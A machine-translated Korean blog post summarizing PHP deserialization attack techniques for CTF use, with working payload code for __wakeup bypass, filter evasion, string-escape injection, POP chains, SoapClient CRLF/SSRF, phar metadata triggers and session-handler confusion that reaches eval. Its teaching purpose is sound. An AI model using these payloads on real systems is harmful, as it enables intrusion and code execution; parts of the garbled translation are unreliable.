개발 꿀팁/PHP

[CTF]PHP 역직렬화 총결산

Jammie 2022. 7. 12. 14:17
반응형

문장 목록
PHP 역서열화 한 편이면 충분합니다
소개
일반적인 직렬화 형식
사례 도입
역직렬화에서 흔히 볼 수 있는 마술 방법
작은 Trick을 우회하여 직렬화 안 함
php7.1+반시계열화는 클래스 속성에 민감하지 않습니다
___wakeup(CVE-2016) 우회하기-7124)
부분 정규를 우회하다
인용을 이용하다
16진법 문자 필터 무시하기
PHP 역직렬 문자 뺑소니
상황1: 필터링 후 문자 많아짐
상황2: 필터링 후 문자가 적어짐
객체 주입
POP 체인의 구조 활용
팝체인 간략한 소개
간단한 사례 설명
PHP 네이티브 클래스 역서열화 이용
Soap Client 소개
이용 방식
실전
파 역순서화
phar 파일이란
phar 파일의 구조
취약점 이용조건
영향을 받는 함수
바이패스 방식
php-session 역수열화
세션 간단한 소개
세션의 저장 장치
php.ini의 세션 설정
자세를 이용하다
session.upload_progress 진행 파일 포함 및 반전직렬화 침투
다른 엔진으로 세션 파일 처리
$_SESSION 변수 직접 제어 가능
$_SESSION 변수 직접 제어 불가

PHP 역서열화 한 편이면 충분합니다
소개
직렬화는 사실 데이터를 하나로 바꾸는 것이다.가역적 데이터 구조, 자연적, 역방향적 과정을 역서열화라고 한다.

인터넷에서 이미지를 비교한 예를 찾았다.

예:지금 우리는 모두 타오바오에서 산다.책상이나 책상 같은 매우 불규칙한 물건을, 어떻게 한 도시에서 다른 도시로 운반하면 좋을까, 이럴 때는 보통 그것을 떼어낸다.판자를 만들어 다시 상자에 담으면, 빨리 할 수 있다.보내면 우리의 직렬화 과정(데이터를 저장하거나 전송할 수 있는 형태로 변환하는 것)과 비슷하다.구매자가 물건을 받으면 스스로 이 판을 책상 모양으로 조립해야 하는데, 이 과정은 역순열 과정(당초 데이터 대상으로 변환하는 과정)과 같다.

php 데이터 직렬화 및 역계열화두 함수가 사용되다

serialize 오브젝트 격자식을 정렬된 문자열로 만들기

unserialize 장자문자열이 원래 개체로 복원됨

직렬화의 목적은 데이터의 전송을 편리하게 하는 것이다.저장, PHP에서 시퀀스 및 역시퀀스화는 일반적으로 캐시, 예를 들어 세션 캐시, 쿠키로 사용됩니다.등。

일반적인 직렬화 형식

이해하면 된다

이진 형식
바이트 배열
json 문자열
xml 문자열
사례 도입
간단한 예( 배열로 보기))

<?php
$user=array('xiao','shi','zi');
$user=serialize($user);
echo($user.PHP_EOL);
print_r(unserialize($user));

그는 수출할 수 있다

a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
Array
(
    [0] => xiao
    [1] => shi
    [2] => zi
)

상술한 이 예에 대해 간단히 설명하면, 모두들 쉽게 입문할 수 있다

a:3:{i:0;s:4:"xiao";i:1;s:3:"shi";i:2;s:2:"zi";}
a:array대표는 배열, 뒤의 3가지 설명에는 세 가지 속성이 있습니다
i:대표는 정형데이터int이고,뒤의 0은배열 첨자
s:대표자는 문자열이고, 뒤의 4는 xiao의 길이가 4이기 때문입니다
    
순차적으로 유추하다

직렬화된 내용은 멤버 변수만 있을 뿐 멤버 함수는 없습니다. 예를 들어 다음과 같습니다

<?php
class test{
    public $a;
    public $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

출력(O는 Object를 의미하며 클래스)

O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

만약 변수 앞에 protected가 있다면 변수 이름 앞에 \x00*\x00을 붙이고 private는 변수 이름 앞에 \x00 클래스 이름\x00을 붙입니다. 출력할 때 일반적으로 url 인코딩이 필요합니다. 로컬 저장소에서 더 추천하는 것은 base64 인코딩입니다

<?php
class test{
    protected  $a;
    private $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
echo urlencode(serialize($a));
?>

출력할 때 보이지 않는 문자가 손실될 수 있습니다\x00

O:4:"test":2:{s:4:" * a";s:9:"xiaoshizi";s:7:" test b";s:8:"laoshizi";}

역직렬화에서 흔히 볼 수 있는 마술 방법

__wakeup() //unserialize()를 실행할 때 이 함수를 호출합니다
__sleep() //serialize() 를 실행할 때 이 함수를 호출합니다
__destruct() //오브젝트가 파기될 수 있음
__call() //개체 컨텍스트에서 접근 불가능한 메서드를 호출할 때 트리거합니다
__callStatic() //정적 컨텍스트에서 접근 불가능한 메서드를 호출할 때 트리거합니다
__get() //접근할 수 없는 속성에서 데이터를 읽거나 이 키가 존재하지 않을 때 이 방법을 사용합니다
__set() //접근 불가능한 속성에 데이터를 쓰는 중
__isset() //접근할 수 없는 속성에 isset() 또는 empty() 트리거를 불러옵니다
__unset() //액세스할 수 없는 속성에 unset() 을 사용할 때 트리거합니다
__toString() //클래스를 문자열로 사용할 때 트리거하기
__invoke() //개체를 함수로 불러올 때 트리거하기

작은 Trick을 우회하여 직렬화 안 함
php7.1+반수열 쌍속성이 민감하지 않음
변수 앞에 p라고 아까 얘기했는데rotected, 직렬화 결과는 변수 이름에 붙습니다앞에 더하기\x00*\x00

하지만 특정 버전 7.1 이상에서는 그렇습니다.예를 들어, 다음 예에서는 그렇지 않더라도 유사한 속성에 민감하지 않습니다.\x00*\x00도 여전히 abc 출력

<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

__wakeup(CVE-2016-7124) 우회
버전:

PHP5 <5.6.25

PHP7 <7.0.10

사용 방법: 문자열에 있는 객체의 속성 개수를 나타내는 값이 실제 속성 개수보다 클 경우 __wakeup을 건너뜁니다.

다음과 같은 사용자 정의 클래스에 대해

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function __wakeup(){
        $this->a='666';
    }
    public function  __destruct(){
        echo $this->a;
    }
}

unserialize ('O:4:test':1:{s:1:a;s:3:abc;}')를 실행하면 출력 결과는 666입니다.

대상 속성 개수의 값을 크게 하여 unserialize('O:4:test':2:{s:1:a;s:3:abc;}')를 실행한다.출력 결과는 abc입니다.

부분 정규를 우회하다
preg_match('/^O:\d+/')는 직렬화 문자열이 대상 문자열의 시작인지 아닌지를 일치시키는데, 이는 CTF에서도 비슷한 점이 나온 적이 있다.

더하기 기호로 바이패스(url에서 참조할 때 +%2B로 인코딩)
serialize(array(a));//a);//a);//a는 역직렬 대상입니다(직렬화 결과는 a, 아니오배열의 요소인 $a에 영향을 미치는 구문 분석)

<?php
class test{
    public $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a.PHP_EOL;
    }
}

function match($data){
    if (preg_match('/^O:\d+/',$data)){
        die('you lose!');
    }else{
        return $data;
    }
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +신호 우회
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');

인용을 이용하다

<?php
class test{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'abc';
        $this->b= &$this->a;
    }
    public function  __destruct(){

        if($this->a===$this->b){
            echo 666;
        }
    }
}
$a = serialize(new test());

위의 예제에서는 $b를 $a의 참조로 설정하여 $a를 $b와 영원히 동일하게 할 수 있다.

16진법 문자 필터 무시하기

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
쓸 수 있어요
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
문자 유형을 나타내는 s대문자일 경우 16진수로 해석됩니다

제가 여기에 예를 하나 썼는데

<?php
class test{
    public $username;
    public function __construct(){
        $this->username = 'admin';
    }
    public function  __destruct(){
        echo 666;
    }
}
function check($data){
    if(stristr($data, 'username')!==False){
        echo("너는 우회할 수 없다!!".PHP_EOL);
    }
    else{
        return $data;
    }
}
// 미처리전
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a);
unserialize($a);
//처리 후 \75는 u의 16진수입니다
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a);
unserialize($a);

PHP 역직렬 문자 뺑소니
상황1: 필터링 후 문자 많아짐
먼저 로컬 php 코드를 제공합니다지나치게 해석하지 않고,역계열화 된 x를 2개로 교체하는 거죠

<?php
function change($str){
    return str_replace("x","xx",$str);
}
$name = $_GET['name'];
$age = "I am 11";
$arr = array($name,$age);
echo "역직렬 문자열:";
var_dump(serialize($arr));
echo "<br/>";
echo "여과 후:";
$old = change(serialize($arr));
$new = unserialize($old);
var_dump($new);
echo "<br/>이때,age=$new[1]";

정상, 들어오는 중Name=mao

만약 이때 x가 하나 더 들어오면 어떻게 되나, 역직렬화에 실패하는 것은 의심할 여지가 없다. 오버플로(s는 원래 4 결과에서 1자가 더 나왔다) 때문에, 우리는 이것을 이용하여 문자열 뺑소니를 할 수 있다

먼저 결과를 보고, 다시 설명하다

name=maxxxxxxxxxxxxxxxxxxxxxxx;i:1;s:6:woaini;}
';i:1;s:6:woaini;} 이 부분에 총 20글자
하나의 x가 두 개로 대체되기 때문에, 우리는 모두 20개의 x를 입력했는데, 지금은 40개이고, 많이 나온 20개의 x가 사실은 우리의 이 20개의 글자를 대신한다."i:1;s:6:woaini;}에 해당하며, 이로 인해;i:1;s:6:woaini;}의 오버플로, "앞줄 닫힘으로 우리 문자열이 탈출에 성공하여 역직렬화되어 woaini를 출력할 수 있습니다.
마지막;}폐쇄 역직렬화 전 과정은 원래;i:1;s:7:I am 11;}"을 폐기하고 역직렬화에 영향을 주지 않습니다.청

상황2: 필터링 후 문자가 적어짐
옛 관습에 코드를 먼저 넣는 것은, 너무 많은 해석을 하지 않는 간단한 것으로, 반서열화된 두 개의 x를 하나로 대체하는 것이다

<?php
function change($str){
    return str_replace("xx","x",$str);
}
$arr['name'] = $_GET['name'];
$arr['age'] = $_GET['age'];
echo "역직렬 문자열:";
var_dump(serialize($arr));
echo "<br/>";
echo "여과 후:";
$old = change(serialize($arr));
var_dump($old);
echo "<br/>";
$new = unserialize($old);
var_dump($new);
echo "<br/>이때,age=";
echo $new['age'];

name=mao&age=11의 결과입니다

종래의 관례는 최종 구조의 결과를 보고, 다시 계속해서 해석하였다

간단히 말해서, 앞에 있는 글자의 절반이 없어져서 뒤에 있는 글자가 먹혀버려서 우리 뒤에 있는 코드가 실행되었습니다.
이 부분은 age가 직렬화된 결과라고 본다.

s:3:age;s:28:11;s:3:age;s:6:woaini;}"

앞부분이 40개 x이기 때문에 20글자가 부족하기 때문에 뒤쪽에 붙여야 한다.";s:3:age;s:28:11 이 부분이 딱 20입니다.개, 뒤에 '앞을 닫았으므로 뒷면의 파라미터는 우리가 커스터마이징하여 실행할 수 있다.

객체 주입
사용자 요청이 역계열화 함수 unserialize()로 전달되기 전에 제대로 필터링되지 않았을 때취약성이 생깁니다. PHP는 대상을 시리얼화할 수 있기 때문에공격자는 이 취약성이 있는 unserialize 함수에 특정 직렬화된 문자열을 제출할 수 있으며, 결국 하나의 문자열을 생성하게 됩니다.적용 범위 내의 임의의 PHP 대상물을 주입한다.

대상의 허점은 두 가지 전제를 만족시켜야 한다

1,unserialize 의 파라미터는 제어 가능합니다.
2, 코드 안에 마술적 방법을 포함하는 클래스를 정의하고, 그 메서드에는 클래스 멤버 변수를 사용한다.매개 변수의 안전 문제가 있는 함수입니다.

예를 들어 이 예를 들면

<?php
class A{
    var $test = "y4mao";
    function __destruct(){
        echo $this->test;
    }
}
$a = 'O:1:"A":1:{s:4:"test";s:5:"maomi";}';
unserialize($a);

스크립트 실행이 끝나면 _destruct 함수를 호출하고 test 변수 출력 maomi를 덮어씁니다

POP 체인의 구조 활용
팝체인 간략한 소개
앞에서 설명한 직렬화 공격은 마술 방법 중 일부의 이용 취약점, 자동호출에 의한 취약점, 그러나만약 키코드가 마법사에 없다면법 속에 있는 것이 아니라 같은 종류이다.일반적인 방법. 이때 클래스 속성과 민감함수의 속성을 동일한 함수명을 찾아 연관시킬 수 있다.

간단한 사례 설명
먼저 간단한 MRCTF2020-Ezpop을 보시고 코드를 하나하나 읽어보시지 않고 직접 해결해보도록 하겠습니다

<?php

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

여기서 제가 직접 말씀드리자면, 먼저 역분석을 해보겠습니다. 결국 우리는 Modifier의 append 방법을 통해 로컬 파일 읽기 파일을 포함하고 그것을 호출하는 _invoke로 거슬러 올라가서 우리가 객체를 함수로서 호출할 때 트리거를 하면 Test 클래스의 _get 메서드가 Show의 _toString으로 거슬러 올라가 Show의 _wakeup의 _preg_match로 _toString을 트리거할 수 있습니다.

그래서 쉽게 팝 체인을 만들 수 있고

<?php
ini_set('memory_limit','-1');
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        $this->str = new Test();
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$a = new Show('aaa');
$a = new Show($a);
echo urlencode(serialize($a));

PHP 네이티브 클래스 역서열화 이용
Soap Client 소개
요약:

php는 php-soa를 장착하고 있습니다.p가 확장되면, 원형을 역계열화할 수 있다.클래스Soap Client, HTTP post 요청을 보냅니다.

SoapClien을 불러와야 합니다t가 존재하지 않는 방법, 트리거Soapclient의 __call 마술 방법.

CRLF를 통해 요청 본체를 추가합니다.SoapClient는요청의 user-agent 헤더를 정하고, 줄바꿈을 추가하여 다른 요청 내용을 추가한다.

SoapClient 채택HTTP는 기본 통신 프로토콜로서XML은 데이터를 전송하는 형식으로, SOAP(Simple XML 기반 프로토콜)을 사용하며, HTTP를 통해 응용 프로그램을 통과시킵니다. 다음, 우리는 존재하지 않는 함수를 호출하면 _call을 호출하는 인스턴스화된 클래스를 알고 있습니다.방법, 자세한 정보는 검색엔진을 통해 확인할 수 있습니다. 여기서 더 이상 설명이 필요 없습니다.

이용 방식
다음은 일단 제 VPS 위에서 켜겠습니다nc-lvp 9 듣기 시작328

<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://xxxx.xxx.xx:9328'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//존재하지 않는 메소드를 호출하여 Soap Client 호출하기__call

위의 php 프로그램을 실행하면 내 vps에 당첨되면 감청 캡처

위의 그림을 보면 SOAP Action은 우리의 제어 가능한 파라미터이므로, 우리는 우리 자신의 악의적 구조의 CRLF를 주입하고 **\r\n**을 삽입하여 성공적으로 이용할 수 있습니다!

그러나 우리가 다시 POST 데이터를 보낼 때 HTTP 프로토콜을 따라야 하는 문제가 있습니다. 요청 헤더 Content-Type: application/x-WWWW-form-urlencoded 하지만 Content-Type이 SOAP Action 위에 있으면 Content-Type을 제어할 수 없고 POST의 데이터를 제어할 수 없습니다.

이제 실험해볼까요?

실전
우리가 들어오는 vip을 역직렬화하여 getFlag 함수(사람을 현혹시키는 함수)를 수행한다

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
$vip->getFlag();
//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
​
​
if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

서버에 Cloudfare 에이전트가 있기 때문에 로컬 구성 XFF 헤더를 통해 바이패스할 수 없습니다. Soap Client와 CRLF를 사용하여 SSRF 액세스 127.0.0.1/ flag.php를 구현해야 클라우드fare 에이전트를 바이패스할 수 있습니다

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1',
    'UM_distinctid:175648cc09a7ae-050bc162c95347-32667006-13c680-175648cc09b69d'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

flag.txt에 접속하시면 됩니다.

파 역순서화
phar 파일은 본질적으로 일종의 압축 파일이다.직렬화된 형식으로 저장됩니다.사용자 정의 meta-data를 저장한다.영향을 받는 파일 조작 함수가 phar 파일을 호출하면 메타-데이터 내 내용이 자동으로 역수열화된다.

phar 파일이란
소프트웨어에서 PHAR(PHP아카이브)파일은 패키지 형식입니다.많은 PHP 코드 파일과 다른 리소스(예: 이미지, 스타일시트 등)를 하나의 아카이브에 묶어서 응용프로그램과 라이브러리의 배포

php는 사용자 정의와 내장된 "스트리밍 패킷"을 통해"복잡한 파일 구현하기"핸들링 기능. 내장된 패키지는 (fopen(), copy(), file_exists(), filesize()와 같은 파일 시스템 함수에 사용할 수 있습니다. phar://는 일종의 플로우 포장기 내장입니다.

php 중의 몇 가지 흔히 볼 수 있는 유동 포장기는 다음과 같다.

file:// — 로컬 파일 시스템에 접근하여 파일 시스템 함수를 사용할 때 기본적으로 이 래퍼로 사용합니다
http:// — HTTP(s) URL에 액세스하기
ftp:// — FTP(s) URL에 액세스하기
php:// — 개별 I/O 스트림 액세스 (I/O streams)
zlib:// — 압축류
data:// — 데이터 (RFC 2397)
glob:// — 일치하는 파일 경로 패턴 찾기
phar:// —PHP 파일링
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 오디오 스트림
expect:// — 대화형 흐름 처리

phar 파일의 구조

stub:phar파일의 로고는 xxx __HALT_COMPILER(;?) > 로 끝나야 합니다. 그렇지 않으면 인식할 수 없습니다.xxx는 콘텐츠를 맞춤 제작할 수 있다.
manifest:phar파일은 본질적으로 압축된 파일의 권한, 속성 등의 정보를 이 부분에 배치하는 압축 파일이다.이 부분은 사용자 정의 메타데이터를 직렬화해 저장하는데, 이는 취약점 활용의 가장 핵심적인 부분이다
content:압축된 파일 내용
signature ((비울 수 있음) : 서명, 끝에 놓습니다.

취약점 이용조건
phar 파일은 서버에 올릴 수 있어야 한다.
발판으로 삼을 수 있는 마술적 방법이 있어야 한다.
파일 조작 함수의 파라미터 제어가 가능하며, :, /, phar 등의 특수어부호가 필터링되지 않았습니다.
영향을 받는 함수
창우 테스트 후 영향을 받는 함수 목록

사실 이것뿐만 아니라 https://blog.zsxsoft.com/post/38에 자세히 나와 있는 링크도 참고할 수 있다.

물론 읽기 쉽도록 여기 정리했습니다

//exif
exif_thumbnail
exif_imagetype
    
//gd
imageloadfont
imagecreatefrom***계열함수
    
//hash
    
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
    
// file/url
get_meta_tags
get_headers
    
//standard 
getimagesize
getimagesizefromstring
    
// zip   
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
// Bzip / Gzip 환경이 phar를 제한하면 앞 글자에 나타나지 않습니다.사용할 수 있습니다compress.bzip2://와compress.zlib://우회하다
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

//기타 협의에 협조하다:(SUCTF)
//https://www.xctf.org.cn/library/details/17e9b70557d94b168c3e5d1e7d4ce78f475de26d/
//phar가 앞 글자에 나타나지 않도록 환경이 제한될 경우 다른 프로토콜에 맞게 사용할 수도 있습니다
//php://filter/read=convert.base64-encode/resource=phar://phar.phar

//Postgres pgsqlCopyToFile은 pg_trace와 마찬가지로 사용할 수 있으며 phar의 쓰기 기능을 켜야 합니다
<?php
	$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
	@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
    
// Mysql
//LOAD DATA LOCAL INFILE이거를 촉발시키기도 하고php_stream_open_wrapper
//mysqld 설정하기:
//[mysqld]
//local-infile=1
//secure_file_priv=""
    
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');
?>

바이패스 방식
환경이 phar를 제한하면 앞 글자에 나타나지 않습니다.compress.bzip2: // 및 compress.zlib: // 등을 사용하여 우회할 수 있습니다

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt

phar가 앞 글자에 나타나지 않도록 환경이 제한될 경우 다른 프로토콜에 맞게 사용할 수도 있습니다.
php://filter/read=convert.base64-encode/resource=phar: //phar.phar

파일 헤더에 GIF89a를 추가하여 GIF 형식 검증을 무시할 수 있습니다.
1.$phar->setStub("GIF89a")<?php __HALT_COMPILER(), ?>"), // stub 설정
2, phar.phar 생성, 접미사명 phar.gif 수정

php-session 역수열화
세션 간단한 소개
컴퓨터, 특히 네트워크 응용에서는 '세션 제어'라고 부른다.세션 개체 저장소특정 사용자 세션에 필요한 속성 및 설정 정보입니다. 사용자가 프로그램의 웹 페이지 사이를 이동할 때 Session 오브젝트에 저장된 변수는 손실되지 않습니다.전체 사용자 세션에서 계속 존재한다.사용자가 프로그램에서 요청할 때 웹 페이지의 세션이 없으면 웹 서버가 자동으로 Session 개체를 만듭니다.세션이 만료되거나 파기되면 서버는 세션을 종료합니다。

사이트에 처음 접속할 때 Seesion_start() 함수는 고유한 S를 만듭니다ession ID, HTTP 리스폰더 헤더를 통해 클라이언트 쿠키에 자동으로 저장됩니다. 또한 서버 측에 S를 만듭니다.이 사용자의 세션 정보를 저장하는 데 사용되는 ession ID의 파일.같은 사용자가 이 사이트를 다시 방문하면 자동으로 HTTP 요청 헤더를 통해 쿠키에 저장된 Seesion ID를 다시 가져옵니다. 이때 Seession_start() 함수는 새 세션 ID를 할당하지 않습니다서버 하드디스크에서 이것저것 찾고 있습니다.세션 ID와 같은 이름의 세션 파일은, 이전에 이 사용자에 대해서 보존되어 있던 세션 정보를 읽어, 현재 스크립트에 적용하여, 이 사용자를 추적하는 것을 목적으로 한다.

세션의 저장 장치
php에 있는 session의 내용은 메모리에 저장되지 않고 파일 형식으로 저장된다.네, 저장 방식은 설정 항목 session.save_handler에 의해 결정되며, 기본적으로 파일 방식으로 저장된다.
저장된 파일의 이름은 sess_sessionid입니다

php_serialize        serialize() 함수 직렬화 배열
php                       키 이름+세로줄+경과serialize()함수 처리 값
php_binary           키 이름의 길이가 해당하는 ascii 문자+키 이름+serialize() 함수 직렬화 값

hp.ini의 세션 설정
session.save_path="" --세션의 저장 경로 설정
session.save_handler=" " " - 사용자 정의 스토리지 함수 설정, PHP 내장 세션 스토리지 이외의 사용 가능이 함수 사용 (데이터베이스와 같은 방법)
session.auto_start boolen - 세션 모듈이 요청 시작 시 세션을 시작할지 여부를 지정합니다. 기본값은 0입니다.
session.serialize_hAndler string - 직렬화/반직렬화를 위한 프로세서 이름을 정의합니다.기본 php 사용

자세를 이용하다
session.upload_progress 파일 포함 및 역순서화 침투
이 문장은 매우 상세하게 말했으니, 따로 빈정거릴 필요가 없다

https://www.freebuf.com/vuls/202819.html

다른 엔진으로 세션 파일 처리
$_SESSION 변수 직접 제어 가능
php 엔진의 저장 형식은 키 이름 |serialized_string이고 php_serialize 엔진의 저장 형식은 seriali입니다zed_string. 프로그램이 두 개의 엔진으로 각각 처리되면 문제가 생긴다.

이 두 개의 php를 보세요

// 1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['y4'] = $_GET['a'];
var_dump($_SESSION);
//2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class test{
    public $name;
    function __wakeup(){
        echo $this->name;
    }
}

먼저 1.php 접속, 수신 파라미터 a=|O:4:test:1:{s:4:name;s:8:y4tacker;} 다시 2.php 접속, 잊지 않도록 주의 |

1.php는 php_serialize 엔진으로 처리되기 때문에 '|'를 하나의 정상적인 문자로만 취급할 수 있다.그런 다음 2.php에 접속하여 php엔진을 사용하기 때문에 '|'를 만나면 키 이름과 값의 분할자로 간주하여 모호함을 만들어 session 파일을 해석할 때 '|'의 값을 직접 역계열화 처리한다.

여기에서는 session 파일을 해석할 때, 왜 바로 '|'의 값을 역수열화했는지, 이것도 프로세서의 기능인가 하는 작은 의문이 들 수 있다.이것은 사실 session_start()라는 함수에 기인한 것으로, 다음과 같은 공식 설명을 볼 수 있습니다.

세션이 자동으로 시작되거나 세션_start()를 통해 수동으로 시작될 때 PHP 내부에서는 세션 관리자의 open과 read 콜백 함수를 호출합니다. 세션 관리자는 PHP 기본이거나 확장자( SQLite 또는 Memcached 확장자) 또는 s를 통해 제공될 수 있습니다.ession_set_save_handler() 사용자 정의 세션 관리자. read 콜백 함수를 통해 반환된 기존 세션 데이터 (특수 직렬화 형식으로 저장) PHP는 자동으로 데이터를 역직렬화하여 채웁니다. $_SESSION 슈퍼 글로벌 변수

그래서 우리는 test 클래스에 __wakeup() 메서드를 트리거하는 데 성공했기 때문에 이런 공격적 사고가 가능하다.그러나 이 방법은 session에 대한 할당이 가능하기 때문에 $_SESSION 변수에 대한 할당이 코드에 존재하지 않을 경우 어떻게 사용할 것인가?

$_SESSION 변수 직접 제어 불가
고교 전역의 CTF 제목 한 번 볼게요.

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

우리는 ini_set('session.serialize_handler', 'php')라는 문장에 주목하여 php.ini에 php_serialize가 설정되었을 가능성을 추측하기 어렵지 않다. phpinfo를 살펴보니 추측이 정확했고, 문제의 관전 포인트를 알게 되었다.

그럼 phpinfo에 들어가 보겠습니다. enabled=on은 upload_progress 기능이 시작된다는 의미이며, 브라우저가 파일을 서버에 업로드할 때 php는 파일 업로드 시간, 업로드 진행 상황 등 파일을 세션에 저장한다는 의미이기도 합니다. 이 주소에는 임의입니다. POST 필드인 PHP_SESSION_UPLOAD_PROGRESS는 filename 값을 session에 할당할 수 있습니다

 

파일 업로드 폼

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="777" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

다음으로 payload 시퀀스를 구성합니다

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>

Burp발주이므로 따옴표가 뒤바뀌는 것을 방지하기 위해 따옴표 앞에 \, 그 밖에 |를 붙입니다.

파일 이름 값을 수정하기 위해 이 페이지에 파일을 아무거나 업로드합니다

Here_1s_7he_fl4g_buT_You_Cannot_see.php라는 파일을 볼 수 있고 flag는 분명 안에 있지만, 이 경로를 모른다는 문제가 있습니다. 경로의 문제는 phpinfo 페이지로 돌아가서 확인해야 합니다

따라서 우리는 payload를 print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php")로 변경하면 flag를 얻을 수 있습니다

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}
$obj = new OowoO();
echo serialize($obj);
?>

 

반응형